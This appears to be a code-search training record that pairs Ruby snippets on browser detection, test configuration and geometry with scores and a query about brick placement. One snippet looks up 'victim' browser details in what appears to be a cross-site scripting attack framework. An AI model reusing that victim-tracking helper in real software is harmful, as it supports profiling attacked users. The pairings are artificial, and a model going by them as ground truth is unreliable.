"def platform(name)\n case ENV['PLATFORM']\n when 'windows_10_edge'\n {selenium_version: '3.141.59',\n platform_name: 'Windows 10',\n browser_name: 'edge',\n browser_version: '18.17763'}.merge(sauce_w3c(name))\n when 'windows_8_ie'\n # Note: w3c is not working for Windows 8 & IE 11\n {platform: 'Windows 8.1',\n browser_name: 'ie',\n selenium_version: '3.141.59',\n version: '11.0'}.merge(sauce_oss(name))\n when 'mac_sierra_chrome'\n # This is for running with w3c which is not yet the default\n # {platform_name: 'macOS 10.12',\n # browser_name: 'chrome',\n # \"goog:chromeOptions\": {w3c: true},\n # browser_version: '65.0'}.merge(sauce_w3c name)\n {selenium_version: '3.141.59',\n platform: 'macOS 10.12',\n browser_name: 'chrome',\n version: '65.0'}.merge(sauce_oss(name))\n when 'mac_mojave_safari'\n {platform_name: 'macOS 10.14',\n browser_name: 'safari',\n browser_version: '12.0'}.merge(sauce_w3c(name))\n when 'windows_7_ff'\n {platform_name: 'Windows 7',\n browser_name: 'firefox',\n browser_version: '60.0'}.merge(sauce_w3c(name))\n else\n # Always specify a default\n {selenium_version: '3.141.59',\n platform: 'macOS 10.12',\n browser_name: 'chrome',\n version: '65.0'}.merge(sauce_oss(name))\n end\n end",
"def browser\n @browser\n end",
"def client_browser_name \n user_agent = (request.env['HTTP_USER_AGENT'] || \"\").downcase \n if user_agent =~ /msie/i \n \"Internet Explorer\" \n elsif user_agent =~ /applewebkit/i \n \"Safari\" \n elsif user_agent =~ /konqueror/i \n \"Konqueror\" \n elsif user_agent =~ /gecko/i \n \"Mozilla\" \n elsif user_agent =~ /opera/i \n \"Opera\" \n else \n \"Unknown\" \n end \n end",
"def get_browser_command_line\n {\n method: \"Browser.getBrowserCommandLine\"\n }\n end",
"def browsers_for names\n names.map do |name|\n begin\n Browser.subclasses.find do |browser|\n browser.matches_name? name\n end.new\n rescue\n raise \"Unsupported browser `#{name}'\"\n end\n end\n end",
"def browser_data(browser)\n @data[\"agents\"][CAN_I_USE_NAMES[browser]]\n end",
"def browser_name\n return @parsed_ua.browser ? @parsed_ua.browser : 'Unknown'\n end",
"def reuse_browser?\n return true if ENV['REUSE_BROWSER'] == 'true'\n end",
"def client_browser_name\n user_agent = request.env['HTTP_USER_AGENT'].downcase\n if user_agent =~ /msie/i\n \"Microsoft\"\n elsif user_agent =~ /applewebkit/i\n \"Apple or Google\"\n elsif user_agent =~ /Chrome/i\n \"Google\"\n elsif user_agent =~ /Mozilla/i\n \"Mozilla\"\n else\n \"your browser\"\n end\n end",
"def current_browser\n @current_browser ||= RailsBrowscap.query(request.user_agent)\n end",
"def browser_name\n browser_parser.name\n end",
"def browser_version\n @browser_version ||= begin\n self.send( \"resolve_version_for_#{self.browser_name}\".to_sym )\n end\n end",
"def browser_name\r\n @browser_name ||= begin\r\n\r\n ua = request.env['HTTP_USER_AGENT'].downcase\r\n \r\n if ua.index('msie') && !ua.index('opera') && !ua.index('webtv')\r\n 'ie'+ua[ua.index('msie')+5].chr\r\n elsif ua.index('gecko/') \r\n 'gecko'\r\n elsif ua.index('opera')\r\n 'opera'\r\n elsif ua.index('konqueror') \r\n 'konqueror'\r\n elsif ua.index('applewebkit/')\r\n 'safari'\r\n elsif ua.index('mozilla/')\r\n 'gecko'\r\n end\r\n \r\n end\r\n end",
"def js_driver\n system(\"which phantomjs > /dev/null 2>&1\") ? :poltergeist : :webkit\n end",
"def selenium_config_params\n params.require(:selenium_config).permit(:browser, :url, :user_id)\n end",
"def browser_info(id)\n\t\t\t\tbegin\n\t\t\t\t\tv = find(XSSF_VICTIM_DB, XSSF_VICTIM_HASH, {\"ID\" => id.to_i})\n\t\t\t\t\treturn [v[XSSF_VICTIM_HASH[\"BROWSER_NAME\"]].to_s, v[XSSF_VICTIM_HASH[\"BROWSER_VERSION\"]].to_f, v[XSSF_VICTIM_HASH[\"OS_VERSION\"]].to_s]\n\t\t\t\trescue\n\t\t\t\t\tprint_error(\"Error 23: #{$!}\") if (XSSF_MODE[0] =~ /^Debug$/i)\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\treturn [\"Unknown\", \"0\"]\n\t\t\tend",
"def versions(browser, min_usage = 0)\n assert_valid_browser browser\n versions = browser_data(browser)[\"versions\"].compact\n return versions if min_usage == 0\n versions.select {|v| browser_data(browser)[\"usage_global\"][v] > min_usage }\n end",
"def common_configuration_for_sauce\n require 'sauce'\n require 'sauce/capybara'\n $sauce_os = \"Windows 7\"\n Sauce.config do |config|\n config['name'] = \"Feature Specs\"\n config['browserName'] = @browser\n\n # https://docs.saucelabs.com/reference/platforms-configurator\n if @browser == \"firefox\"\n @sauce_caps = Selenium::WebDriver::Remote::Capabilities.firefox\n config['version'] = \"38.0\"\n @sauce_caps.version = \"38.0\"\n platform = $sauce_os\n elsif @browser == \"chrome\"\n @sauce_caps = Selenium::WebDriver::Remote::Capabilities.chrome\n config['version'] = \"beta\"\n @sauce_caps.version = \"beta\"\n platform = $sauce_os\n elsif @browser == \"safari\"\n @sauce_caps = Selenium::WebDriver::Remote::Capabilities.safari\n config['version'] = \"8.0\"\n @sauce_caps.version = \"8.0\"\n $sauce_os = \"OS X 10.10\"\n platform = $sauce_os\n end\n\n @sauce_caps.platform = platform\n @sauce_caps[:name] = \"Priv.ly Project Integration Tests\"\n\n if ENV['SAUCE_URL'] == nil or ENV['SAUCE_URL'] == \"\"\n puts \"Before you can test on Sauce you need to set an environmental variable containing your Sauce URL\"\n exit 1\n end\n\n # You can also hard code the URL here, but remember it contains your credentials...\n @sauce_url = ENV['SAUCE_URL']\n\n # Support TravisCI if that is where this is running\n if ENV['TRAVIS_JOB_NUMBER']\n @sauce_caps[\"tunnel-identifier\"] = ENV['TRAVIS_JOB_NUMBER']\n end\n\n # Give the webserver time to boot when running on TravisCI\n if ENV['TRAVIS_LAUNCHES_SAUCE_CONNECT']\n puts \"sleeping for 5 seconds\"\n sleep 5\n end\n end\nend",
"def browser_os\n if ENV['BROWSER_OS']\n raise \"You must also specify the variable GRID_HUB on the command line to use this option.\" if selenium_grid_hub.nil?\n raise \"Unrecognized BROWSER_OS value: #{ENV['BROWSER_OS']}.\" unless ENV['BROWSER_OS'] =~ /^windows|mac|linux$/i\n ENV['BROWSER_OS'].downcase.to_sym\n else\n nil\n end\n end",
"def browser_version\n browser_parser.version(user_agent)\n end",
"def runtime_requirements\n requirements.select do |requirement|\n requirements.runtime?\n end\n end",
"def detect_browser\n if APP_CONFIG.force_mobile_ui\n return true\n end\n \n mobile_browsers = [\"android\", \"ipod\", \"opera mini\", \"blackberry\", \n\"palm\",\"hiptop\",\"avantgo\",\"plucker\", \"xiino\",\"blazer\",\"elaine\", \"windows ce; ppc;\", \n\"windows ce; smartphone;\",\"windows ce; iemobile\", \n\"up.browser\",\"up.link\",\"mmp\",\"symbian\",\"smartphone\", \n\"midp\",\"wap\",\"vodafone\",\"o2\",\"pocket\",\"kindle\", \"mobile\",\"pda\",\"psp\",\"treo\"]\n if request.headers[\"HTTP_USER_AGENT\"]\n\t agent = request.headers[\"HTTP_USER_AGENT\"].downcase\n\t mobile_browsers.each do |m|\n\t\t return true if agent.match(m)\n\t end \n end\n return false\n end",
"def capabilities; end",
"def capabilities; end",
"def capabilities; end",
"def requirements\n unless @reqs\n @reqs = []\n @reqs << Requirement.new(:feature, {:feature => self['feature']}, plugin) if self['feature']\n end\n @reqs\n end",
"def build_browser\n self.handle_flag(BROWSER_FLAG)\n self.handle_flag(GRID_URL_FLAG)\n self.handle_flag(TIMEOUT_FLAG)\n\n return local_browser if @grid_url.nil?\n\n self.handle_flag(PLATFORM_FLAG)\n return remote_browser\n end",
"def test_read_configuration_proxy_auth\r\n\t\tconf = WebBrowserConfiguration.new(\"visitor/WebBrowserConfigurationUnitTestProxyAuth.xml\")\r\n\t\tassert_equal(20,conf.browser_threads,\"browser threads not as expected.\") #default value\r\n\t\tassert_equal(\"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\",conf.user_agent,\"user agent not as expected.\")\r\n\t\tassert_equal(\"192.168.74.3\",conf.server,\"proxy server not as expected\")\r\n\t\tassert_equal(3128,conf.port,\"proxy server port not as expected\")\r\n\t\tassert_equal(\"username\",conf.username,\"proxy username not as expected\")\t\t\r\n\t\tassert_equal(\"password\",conf.password,\"proxy password not as expected\")\r\n\tend",
"def browser_name\n begin\n @browser_name ||= begin\n return 'unknown' if ua.nil?\n\n Detector.patterns.each do |pattern, identifier|\n return identifier if pattern.match( ua )\n end\n\n if ua.include?( 'konqueror' )\n 'konqueror'\n elsif ua.include?( 'netscape' )\n 'netscape'\n else\n 'unknown'\n end\n end\n rescue\n 'unknown'\n end\n end",
"def firefox_capabilities\n Selenium::WebDriver::Remote::Capabilities.firefox(\n logging_prefs: {browser: 'ALL'},\n 'acceptSslCerts' => true,\n 'acceptInsecureCerts' => true,\n 'native_events' => true\n )\n end",
"def browser\n Browser.new(user_agent)\n end",
"def requirements\n @requirements ||= []\n end",
"def run_on_browserstack?\n ENV['TEST_DRIVER'] && ENV['TEST_DRIVER'] == 'browserstack'\nend",
"def requirements\n options[:requirements] || {}\n end",
"def config_read\n #f = File.expand_path(\"~/.zfminfo\")\n f = File.expand_path(CONFIG_FILE)\n if File.readable? f\n load f\n # maybe we should check for these existing else crash will happen.\n $used_dirs.push(*(DIRS.split \":\"))\n $used_dirs.concat get_env_paths\n $visited_files.push(*(FILES.split \":\"))\n #$bookmarks.push(*bookmarks) if bookmarks\n chars = ('A'..'Z').to_a\n chars.concat( ('0'..'9').to_a )\n chars.each do |ch|\n if Kernel.const_defined? \"BM_#{ch}\"\n $bookmarks[ch] = Kernel.const_get \"BM_#{ch}\"\n end\n end\n end\nend",
"def selenium_host\n ENV.fetch('SELENIUM_HOST', '192.168.56.102')\nend",
"def browser(ua=nil)\n (ua and @version_pattern) ? \"#{name} #{version(ua)}\" : name\n end",
"def framework_infos\n raise Sqreen::NotImplementedYet unless ensure_rack_loaded\n {\n :framework_type => 'Rack',\n :framework_version => Rack.version,\n :environment => ENV['RACK_ENV'],\n }\n end",
"def browser_height\n @browser_height\n end",
"def test_Browser_001_is_browser_installed()\n\n puts2(\"\")\n puts2(\"#######################\")\n puts2(\"Testcase: test_Browser_001_is_browser_installed\")\n puts2(\"#######################\")\n\n puts2(\"\\n\\nTest - is_chrome64_installed?()\")\n puts2(\"is_chrome64_installed? = \" + is_chrome64_installed?().to_s)\n\n puts2(\"\\n\\nTest - is_firefox64_installed?()\")\n puts2(\"is_firefox64_installed? = \" + is_firefox64_installed?().to_s)\n\n end",
"def get_browser_name(code)\n browser_name = $redis.get(\"caniuse:agents:#{code}:browser\")\n if browser_name.nil?\n caniuse_data = get_caniuse_data\n browser_name = caniuse_data[\"agents\"][code][\"browser\"]\n $redis.setex(\"caniuse:agents:#{code}:browser\", 60*60*24, browser_name)\n end\n browser_name\nend",
"def browser\n @web_browser\n end",
"def size\r\n @browsers.size\r\n end",
"def read_config\n config_file = File.join(@www, 'config.xml')\n\n if File.exists?(config_file)\n require 'rexml/document'\n f = File.new config_file\n doc = REXML::Document.new(f)\n @config = {}\n @config[:id] = doc.root.attributes[\"id\"]\n @config[:version] = doc.root.attributes[\"version\"]\n @config[:icons] = {}\n defaultIconSize = 0\n doc.root.elements.each do |n|\n @config[:name] = n.text.gsub('-','').gsub(' ','') if n.name == 'name'\n @config[:description] = n.text if n.name == 'description'\n @config[:content] = n.attributes[\"src\"] if n.name == 'content'\n if n.name == 'icon'\n if n.attributes[\"width\"] == '72' && n.attributes[\"height\"] == '72'\n @config[:icons][\"drawable-hdpi\".to_sym] = n.attributes[\"src\"]\n if 72 > defaultIconSize\n @config[:icon] = n.attributes[\"src\"]\n defaultIconSize = 72\n end\n elsif n.attributes[\"width\"] == '48' && n.attributes[\"height\"] == '48'\n @config[:icons][\"drawable-mdpi\".to_sym] = n.attributes[\"src\"]\n if 48 > defaultIconSize\n @config[:icon] = n.attributes[\"src\"]\n defaultIconSize = 48\n end\n elsif n.attributes[\"width\"] == '36' && n.attributes[\"height\"] == '36'\n @config[:icons][\"drawable-ldpi\".to_sym] = n.attributes[\"src\"]\n if 36 > defaultIconSize\n @config[:icon] = n.attributes[\"src\"]\n defaultIconSize = 36\n end\n else\n @config[:icon] = n.attributes[\"src\"]\n end\n end\n\n\n if n.name == \"preference\" && n.attributes[\"name\"] == 'javascript_folder'\n @config[:js_dir] = n.attributes[\"value\"]\n end\n end\n\n # extract android specific stuff\n @config[:versionCode] = doc.elements[\"//android:versionCode\"] ? doc.elements[\"//android:versionCode\"].text : 3\n @config[:minSdkVersion] = doc.elements[\"//android:minSdkVersion\"] ? doc.elements[\"//android:minSdkVersion\"].text : 1\n # will change the name from the directory to the name element text\n @name = @config[:name] if @config[:name]\n # set the icon from the config\n @icon = File.join(@www, @config[:icon]) if @config[:icon]\n @icons = @config[:icons] if @config[:icons].length > 0\n # sets the app js dir where phonegap.js gets copied\n @app_js_dir = @config[:js_dir] ? @config[:js_dir] : ''\n # sets the start page\n @content = @config[:content] ? @config[:content] : 'index.html'\n end\n end",
"def detect_browser(http_user_agent)\n result = http_user_agent\n if result =~ /Safari/\n if result =~ /Chrome/\n version = result.split('Chrome/')[1].split(' ').first.split('.').first\n browser = 'Chrome'\n else\n browser = 'Safari'\n version = result.split('Version/')[1].split(' ').first.split('.').first\n end\n elsif result =~ /Firefox/\n browser = 'Firefox'\n version = result.split('Firefox/')[1].split('.').first\n elsif result =~ /Opera/\n browser = 'Opera'\n version = result.split('Version/')[1].split('.').first\n elsif result =~ /MSIE/\n browser = 'MSIE'\n version = result.split('MSIE')[1].split(' ').first\n end\n\n [browser,version]\n end",
"def node_basic_config(node)\n\t\tconfig, service = lib('requirements'), lib('services')\n\t\t{'name' => node, 'selenium-version' => config[\"selenium\"][\"version\"], 'kickstart' => service[\"kickstart-server\"]}\n\tend",
"def chrome_version\n browser = request.user_agent\n match = /Chrome\\/(\\d+)\\./.match(browser)\n match ? match[1].to_i : 0\n end",
"def good_browser?(agent = /Firefox|Safari|Chrome/)\n request.env['HTTP_USER_AGENT'] =~ agent\n end",
"def browser\r\n @web_browser\r\n end",
"def user_agent_on_header\n request.headers['HTTP_USER_AGENT']\n end",
"def config_js\n [\n src_config_path.join('routes.js').to_s,\n src_config_path.join('router.js').to_s,\n src_config_path.join('app.js').to_s\n ]\n end",
"def test_legacy_browser_detected\n for browser in LEGACY_BROWSERS\n @request.user_agent = browser\n assert @page.legacy_browser?\n end\n end",
"def whitelist\n config[\"whitelist\"]\n end",
"def browser_version\n return @parsed_ua.version ? @parsed_ua.version : 'Unknown'\n end",
"def program_specific_validators\n return eh_program_specific_validators if product_test.reporting_program_type == 'eh'\n return ep_program_specific_validators if product_test.reporting_program_type == 'ep'\n\n []\n end"
] |
[
"0.60073966",
"0.59629333",
"0.59535635",
"0.58589315",
"0.57369584",
"0.5692717",
"0.56453407",
"0.56441313",
"0.5617939",
"0.55933774",
"0.55855405",
"0.55812037",
"0.5573661",
"0.55695426",
"0.5565853",
"0.5520386",
"0.55108476",
"0.54708165",
"0.53766215",
"0.53762597",
"0.5349036",
"0.53449035",
"0.5344886",
"0.529041",
"0.52780235",
"0.52778745",
"0.5198204",
"0.5190645",
"0.51891696",
"0.5180206",
"0.5175392",
"0.5167644",
"0.51558083",
"0.513361",
"0.51228255",
"0.51206493",
"0.5118477",
"0.51076216",
"0.50710976",
"0.5070232",
"0.50702155",
"0.5061327",
"0.5060015",
"0.50594246",
"0.50487804",
"0.50439036",
"0.5026858",
"0.50227976",
"0.5013671",
"0.50135565",
"0.5012625",
"0.5005627",
"0.49962252",
"0.4995087",
"0.4983995",
"0.4978297",
"0.49657786",
"0.4963085",
"0.49554434",
"0.49554154",
"0.49540925",
"0.49304384",
"0.492025",
"0.48900828",
"0.4879355",
"0.48774028",
"0.48773178",
"0.48701477",
"0.48701477",
"0.48701477",
"0.4867725",
"0.48669142",
"0.48649973",
"0.48550898",
"0.48520052",
"0.48509133",
"0.48474723",
"0.48408252",
"0.48354453",
"0.48293778",
"0.48207423",
"0.48200554",
"0.48196924",
"0.48072717",
"0.4796765",
"0.47887447",
"0.47877845",
"0.47726572",
"0.47576988",
"0.47524932",
"0.4747661",
"0.47430864",
"0.47426188",
"0.47422057",
"0.47231045",
"0.47210273",
"0.47204366",
"0.47183454",
"0.4718209",
"0.4714417"
] |
0.6776741
|
0
|
vertical is the easy case, we know that the width will always be 1 and there has to be a solid brick below it
|
def is_solid_piece_at_bottom?( piece, position )
return position.layout[0] == 1 || position.layout[0] == 'K' || position.layout[0] == 'P'
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def vertical?\n height > width\n end",
"def outer_height; rect.height + @border_thickness * 2; end",
"def vertical?\n height > width if !(width.blank? && height.blank?)\n end",
"def base_height; 24; end",
"def base_height; 24; end",
"def draw\n\t\tputs \"\\n\"\n\t\tmid = (@height/2.0).ceil\n\t\tfor line in 1..@height\n\t\t\tspace0 = (mid - (mid-line).abs).abs\n\t\t\tspace1 = (mid - line).abs * 2 - 1\n\t\t\tputs space1 > 0 ?\n\t\t\t\t \" \" * space0 + \"X \" + \" \" * space1 + \"X\" :\n\t\t\t\t \" \" * space0 + \"X\"\n\t\tend\n\tend",
"def outer_width; rect.width + @border_thickness * 2; end",
"def horizontal?\n height < width\n end",
"def check_vertical_bingos\n @vertical.each do |k, v|\n if size == v\n @num_bingos += 1\n circles.each do |circle|\n if circle.position_x == k\n update_circle(circle)\n end\n end\n end\n end\n end",
"def draw_vertical_segment\n @pixel_x = @cmd_options.first-1\n @color = @cmd_options.last\n\n @pixel_y1s = (@cmd_options[1]..@cmd_options[2]).to_a\n\n @pixel_y1s.each do |pixel_y|\n pixel_y -= 1\n @matrix[pixel_y][@pixel_x] = @color\n end\n end",
"def bottom!\n self.ox = self.width/2\n self.oy = self.height\n end",
"def add_vertical_segment (option, size)\n case option\n when 'right'\n return ' ' + (' ' * size) + '|' + @@digit_space\n when 'left'\n return '|' + (' ' * size) + ' ' + @@digit_space\n when 'both'\n return '|' + (' ' * size) + '|' + @@digit_space\n when 'none'\n return ' ' + (' ' * size) + ' ' + @@digit_space\n else\n return 'Invalid vertical region option'\n end\n end",
"def vertical_seperator x, y, y2\n [x, y, x, y2, 150, 150, 150]\n end",
"def row\n Vedeu.height / 12\n end",
"def row\n Vedeu.height / 12\n end",
"def vertical_blank_space\n border_penalty = border? ? 2 : 4\n border_penalty += 2 if @display_seconds.nil? # this is for display and stop running\n vbs = height - border_penalty - @message.length\n vbs > 0 ? vbs : 0\n end",
"def box!(banner = nill)\n\n theEdge = self.genBar('=')\n theEdge.lPad!('+')\n theEdge.rPad!('==+')\n self.lPad!('| ')\n self.rPad!(' |')\n\n theBox = TextRect.new(banner)\n theBox.below!(theEdge)\n theBox.below!(self)\n @theLines = theBox.lines\n return self.below!(theEdge)\n\n end",
"def width_limiting_y\n return (oval_baseline_y + @vertical_radius + @oval_ascender) if above_x_axis?\n (oval_baseline_y + @vertical_radius - @oval_descender)\n end",
"def height; end",
"def height; end",
"def setup\n size 640, 360\n background 0\n stroke_weight 8\n (5 ... width/2).step(5) do |i|\n i.even? ? draw_short(i) : draw_long(i)\n end\nend",
"def border; end",
"def height=(height) @side = height end",
"def box_height\n return line_height + 104 + line_height * (@params.size + 1)\n end",
"def draw_grid\n print_cap\n (0...@vertical).each do |vert_index|\n (0..@v_size).each do |block_height|\n (0...@horizontal).each do |horizontal_index|\n if block_height == (@v_size/2)\n print \"|\" + \" \"*(@h_size/2)\n \"#{print @contents[horizontal_index][vert_index]}|\"\n print \" \"*(@h_size/2-1)\n else\n print \"|\"; print \" \"*@h_size\n end\n end\n print \"|\\n\" \n \n end\n print_cap\n end\n end",
"def row\n @vgroup.add(@vertical);\n alignments_reset ; widths_reset ; heights_reset\n end",
"def draw\n lines = []\n\n indent = @height - 1\n draw_braches(lines, indent)\n\n lines\n end",
"def border\n '+' + ('-' * @max_y) + '+'\n end",
"def item_rect(index)\n rect = super\n rect.y = index / col_max * (item_height + standard_padding) + line_height + standard_padding\n rect\n end",
"def update_size(width, height) \n if @vertical\n @height += height\n @width = width if width > @width\n else\n @width += width\n @height = height if height > @height\n end\n end",
"def height=(_); end",
"def height=(_); end",
"def check_horizontal_bingos\n @horizontal.each do |k, v|\n if size == v\n @num_bingos += 1\n circles.each do |circle|\n if circle.position_y == k\n update_circle(circle)\n end\n end\n end\n end\n end",
"def verticalLines\n (0...@width).inject([]) { |arr, column| arr << @modified.column(column) }\n end",
"def reflect_vertical\r\n self.v[:y] = -self.v[:y]\r\n end",
"def item_y\n contents_height / 2 - line_height * 3 / 2\n end",
"def horizontal\n return HORIZONTAL\n end",
"def split_vertically!(y)\n raise \"Not Implemented\"\n end",
"def displayRect(length, width)\n #Line\n for i in 0...width\n #Col\n for j in 0...length\n #Draw 0 each coin\n if((i == 0 && j == 0) || (i == width - 1 && j == length - 1) || (i == 0 && j == length - 1) || (i == width - 1 && j == 0))\n print \"O\"\n else\n need_space = true\n #Draw | by see col\n if((j == 0) || (j == length - 1))\n print \"|\"\n need_space = false\n end\n #Draw - by see line\n if((i == 0) || (i == width - 1))\n print \"-\"\n need_space = false\n end\n\n if (need_space)\n print \" \"\n end\n end\n end\n puts \"\\n\"\n end\nend",
"def draw_vertical_segment(x, y1, y2, colour)\n @image.draw_vertical x.to_i, y1.to_i, y2.to_i, colour\n end",
"def horizontal?\n height < width if !(width.blank? && height.blank?)\n end",
"def objective_x; line_height / 2; end",
"def height\n (self.width.to_f * (9.to_f/16.to_f)).to_i\n end",
"def vertical_bar\n unicode? ? \"\\u2503\" : '|'\n end",
"def height\n @y1 - @y0\n end",
"def rect; end",
"def rect; end",
"def reflect_horizontal\r\n self.v[:x] = -self.v[:x]\r\n end",
"def draw_horizontal_segment\n @pixel_y = @cmd_options[@cmd_options.length-2]-1\n @color = @cmd_options.last\n\n @pixel_xs = (@cmd_options[0]..@cmd_options[1]).to_a\n\n @pixel_xs.each do |pixel_x|\n pixel_x -=1\n @matrix[@pixel_y][pixel_x] = @color\n end\n end",
"def draw_vertical_line(png, color, xPosition = 0)\n\tpng.polygon([xPosition, 0, xPosition, png.height], color)\nend",
"def vscale(factor)\n @height = @height * factor\n @top *= factor\n self\n end",
"def levelsize\n w=@width-(2*@border)\n h=@height-(2*@border)\n return [w, w * gridwidth / gridheight ] if fit_width()\n return [h * gridheight / gridwidth, h]\n end",
"def inner_box\n [width, height, depth]\n end",
"def height\n top - bottom\n end",
"def rb_mvwhline row, col, char, width\n super(row-@top, col-@left, char, width)\n end",
"def on_get_line_height(x); (@row_height || -1); end",
"def reflect_horizontal\n v[:x] = -v[:x]\n end",
"def draw_vertical_legend\n \n @legend_labels = @data.collect {|item| item[Gruff::Base::DATA_LABEL_INDEX] }\n \n legend_square_width = 40.0 # small square with color of this item\n legend_square_margin = 10.0\n @legend_left_margin = 40.0\n legend_top_margin = 40.0\n\n # May fix legend drawing problem at small sizes\n @d.font = @font if @font\n @d.pointsize = @legend_font_size\n\n current_x_offset = @graph_left + @legend_left_margin\n current_y_offset = @original_rows + legend_top_margin\n\n debug { @d.line 0.0, current_y_offset, @raw_columns, current_y_offset }\n\n @legend_labels.each_with_index do |legend_label, index| \n\n # Draw label\n @d.fill = @font_color\n @d.font = @font if @font\n @d.pointsize = scale_fontsize(@legend_font_size)\n @d.stroke = 'transparent'\n @d.font_weight = Magick::NormalWeight\n @d.gravity = Magick::WestGravity\n @d = @d.annotate_scaled( @base_image, \n @raw_columns, 1.0,\n current_x_offset + (legend_square_width * 1.7), current_y_offset, \n truncate_legend_label(legend_label), @scale)\n\n # Now draw box with color of this dataset\n @d = @d.stroke 'transparent'\n @d = @d.fill @data[index][Gruff::Base::DATA_COLOR_INDEX]\n @d = @d.rectangle(current_x_offset, \n current_y_offset - legend_square_width / 2.0, \n current_x_offset + legend_square_width, \n current_y_offset + legend_square_width / 2.0)\n \n current_y_offset += calculate_caps_height(@legend_font_size) * 1.7\n end\n @color_index = 0\n end",
"def shifted_vertical_line x\n vertical_line(x + grid.width + 1)\n end",
"def item_rect(index)\n rect = super\n rect.y = index / col_max * (item_height + standard_padding)\n rect\n end",
"def line_height\r\n 15\r\n end",
"def height\n rows\n end",
"def draw_horz_line(y)\n contents.fill_rect(0, y, contents_width, 2, system_color)\n end",
"def width\n @x1 - @x0\n end",
"def item_rect(index)\n index -= 1 if index == @max_char\n x = index % max_col\n y = index / max_col\n n = [(@max_char - y * max_col), max_col].min\n \n x = left(n) + x * char_width\n x = width - x - 48 if not @ltr\n y = 24 + y * (line_height + 4)\n Rect.new(x, y, char_width, line_height)\n end",
"def ltab\n horizontals_reset\n @vertical = @layout.createBaselineGroup(true, false)\n end",
"def rect(wide, tall)\n tall.times do |row|\n wide.times do |col|\n @display[row][col] = '#'\n end\n end\n self\n end",
"def new_line\n biggest = @biggest_text_height > WLH ? @biggest_text_height : WLH\n @contents_x = 0 \n @contents_y += biggest\n @biggest_text_height = WLH\n end",
"def item_rect(*args, &block)\n rect = super(*args, &block)\n rect.y += [(rect.height - 98) / 2, 0].max\n rect.height = 98\n rect\n end",
"def price_y\n contents_height / 2 + line_height / 2\n end",
"def north(i=@cursor) i-width end",
"def get_vert_beam_rect(x, y)\n beam_ul = [(@hub_spacing/2 + @hub_spacing*x) - @hub_dia/2, @hub_spacing/2 + @hub_spacing*y, 0]\n beam_lr = [(@hub_spacing/2 + @hub_spacing*x) + @hub_dia/2, @hub_spacing/2 + @hub_spacing*(y+1), 0]\n [beam_ul, beam_lr]\n end",
"def bottom\n self.ox = self.src_rect.width/2\n self.oy = self.src_rect.height\n end",
"def my_width \n 0.75\n end",
"def height\n end",
"def height\n end",
"def height\n return self.rect.height\n end",
"def height; rect.height; end",
"def print_border_mb row, col, height, width, color, attr\n mvwaddch row, col, ACS_ULCORNER\n mvwhline( row, col+1, ACS_HLINE, width-6)\n mvwaddch row, col+width-5, Ncurses::ACS_URCORNER\n mvwvline( row+1, col, ACS_VLINE, height-4)\n\n mvwaddch row+height-3, col, Ncurses::ACS_LLCORNER\n mvwhline(row+height-3, col+1, ACS_HLINE, width-6)\n mvwaddch row+height-3, col+width-5, Ncurses::ACS_LRCORNER\n mvwvline( row+1, col+width-5, ACS_VLINE, height-4)\n end",
"def rb_mvwvline row, col, char, width\n super(row-@top, col-@left, char, width)\n end",
"def drawCube(height)\n\n width = height*2\n leftSpacing = height-1\n\n # Top back\n puts (\" \" * leftSpacing) + \"+\" + (\"-\" * width) + \"+\"\n \n # Top face\n leftSpacing = height-2\n rightSpace = 0\n for i in 1..height-2 do\n puts \" \" * leftSpacing + \"/\" + (\" \" * width) + \"/\" + (\" \" * rightSpace) + \"|\"\n rightSpace+=1\n leftSpacing-=1\n end\n\n # Top front\n puts \"+\" + (\"-\" * width) + \"+\" + (\" \" * rightSpace) + \"|\"\n\n # Front Face\n chk = false\n for i in 1..height do\n if i < height/2 then\n rightFace = (\" \" * rightSpace) + \"|\"\n else \n if chk\n rightFace = (\" \" * rightSpace) + \"/\"\n else \n rightFace = (\" \" * rightSpace) + \"+\"\n chk = true\n end\n rightSpace-=1\n end\n puts \"|\" + (\" \" * width) + \"|\" + rightFace\n end\n\n # Bottom front\n puts \"+\" + (\"-\" * width) + \"+\"\n \nend",
"def half( side )\n case side\n when :u; size.dup.y * ( 0.5 )\n when :d; size.dup.y * ( 0.5 )\n when :l; size.dup.x * ( 0.5 )\n when :r; size.dup.x * ( 0.5 )\n when :v; size.dup.y * ( 0.5 )\n when :h; size.dup.x * ( 0.5 )\n end\n end",
"def grow \n\t\t@height += 1\n\tend",
"def draw_vertical(col: 0, start_row: 0, end_row: 0, color: \"R\")\n image.map!.with_index do |row, row_num|\n row.map.with_index do |pixel, col_num|\n if (row_num >= start_row && row_num <= end_row) && (col == col_num)\n color\n else\n pixel\n end\n end\n end\n save_state\n self\n end",
"def Rect(x, y, w, h, style='')\n\t\t#Draw a rectangle\n\t\tif (style=='F')\n\t\t\top='f';\n\t\telsif (style=='FD' or style=='DF')\n\t\t\top='B';\n\t\telse\n\t\t\top='S';\n\t\tend\n\t\tout(sprintf('%.2f %.2f %.2f %.2f re %s', x * @k, (@h - y) * @k, w * @k, -h * @k, op));\n\tend",
"def print_horizontal_pyramid(height)\ni=1\nk=height\nt=height\n\ni.upto(k) do\n t.times do\n print ' '\n end\n\n (2 * i - 1).times do\n print '*'\n end\n\n print \"\\n\"\n\n t -= 1\n i += 1\nend\nend",
"def draw_checkerboard(png, horizontalColor, verticalColor, spaceWidth = 5)\n\t(0...png.width).step(spaceWidth).each do |x|\n\t\tdraw_vertical_line(png, verticalColor, x)\n\tend\n\n\t(0...png.height).step(spaceWidth).each do |y|\n\t\tdraw_horizontal_line(png, horizontalColor, y)\n\tend\nend",
"def print_horizontal_pyramid(height)\n\n (1..height).each do |i|\n spaces = height - i\n stars = (2 * i) - 1\n\n spaces.times { print \" \"}\n stars.times { print \"*\"}\n spaces.times { print \" \"}\n print \"\\n\"\nend\nend",
